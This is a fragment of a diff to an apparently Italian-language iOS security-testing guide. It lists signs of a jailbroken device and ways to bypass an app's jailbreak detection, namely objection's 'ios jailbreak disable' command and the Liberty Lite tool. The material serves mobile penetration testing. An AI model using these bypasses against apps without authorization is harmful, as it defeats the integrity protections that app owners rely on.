- In un dispositivo jailbroken le applicazioni ottengono **accesso in lettura/scrittura a nuovi file** al di fuori del sandbox
- Alcuni **API** **call** si comporteranno **in modo diverso**
+- Dopo il jailbreaking, su iOS **file e cartelle vengono solitamente installati**, questi possono essere cercati per determinare se il dispositivo è jailbroken.
+- In un dispositivo jailbroken, le applicazioni ottengono **accesso in lettura/scrittura a nuovi file** al di fuori del sandbox
+- Alcune **chiamate API** **si comporteranno in modo diverso**
 - La presenza del servizio **OpenSSH**
 - Chiamare `/bin/sh` restituirà **1** invece di 0

@ -116,12 +120,12 @@ basic-ios-testing-operations.md

 Puoi provare a evitare queste rilevazioni utilizzando **objection's** `ios jailbreak disable`

-## **Jailbreak Detection Bypass**
+## **Bypass del Rilevamento del Jailbreak**

 - Puoi provare a evitare queste rilevazioni utilizzando **objection's** `ios jailbreak disable`
 - Potresti anche installare lo strumento **Liberty Lite** (https://ryleyangus.com/repo/). Una volta aggiunto il repo, l'app dovrebbe apparire nella scheda 'Cerca'

-## References
+## Riferimenti

 - [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)